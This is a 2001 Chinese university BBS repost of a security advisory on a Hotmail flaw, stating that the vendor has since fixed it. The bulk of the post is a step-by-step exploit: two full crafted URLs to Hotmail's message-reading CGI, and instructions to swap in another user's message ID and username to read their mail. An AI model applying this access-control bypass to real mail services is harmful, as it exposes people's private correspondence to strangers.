荔园在线
荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: michaelx (我这样可以吗？--睡觉), 信区: Security
标 题: Hotmail 信件内容泄露漏洞
发信站: 荔园晨风BBS站 (Sat Sep 8 15:16:19 2001), 转信
Hotmail 信件内容泄露漏洞
受影响的系统:
http://www.hotmail.com
描述:
----------------------------------------------------------------------------
----
Hotmail存在一个安全漏洞，攻击者可以阅读任何人的信件。
按照下面的三个步骤可以阅读其它用户在Hotmail的信件：
1.用你在Hotmail的帐号登陆进入系统
2.用下面的链接来 阅读特定用户的信件：
http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http%3a%2f
%2f64%2e4%2e36%2e250%2fcgi%2dbin%2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e22
%26start%3d9702%26len%3d9687%26raw%3d0%26disk%3d64%2e4%2e36%2e68_d1577%26log
in%3dusername%26domain%3dhotmail%2ecom&hm___fl=attrd&domain=hotmail.com
或者
http://lw14fd.law14.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http%3a%
2f%2f64%2e4%2e36%2e250%2fcgi%2dbin%2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e
22%26start%3d9702%26len%3d9687%26raw%3d0%26disk%3d64%2e4%2e36%2e68_d1577%26l
ogin%3dusername%26domain%3dhotmail%2ecom&hm___fl=attrd&domain=hotmail.com
修改MSG943322803%2e16 (消息ID)
username （帐号）
即可。
如果你不想阅读信件的原始信息，可以去掉“%26raw%3d0”，如果你不希望Hotmail的
信息显示在顶部，可以去掉“&hm___fl=attrd&domain=hotmail.com”。
3.完成。如果你输入了和帐号对应的正确消息ID，那么你就会看到该用户的信件。
<*来源：wAwAsAn4 （wAwAsAn4@root-core.com）
参考：www.root-core.com
*>
----------------------------------------------------------------------------
----
建议:
目前厂商已经修复了这个漏洞
--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 203.93.19.1]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接：深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店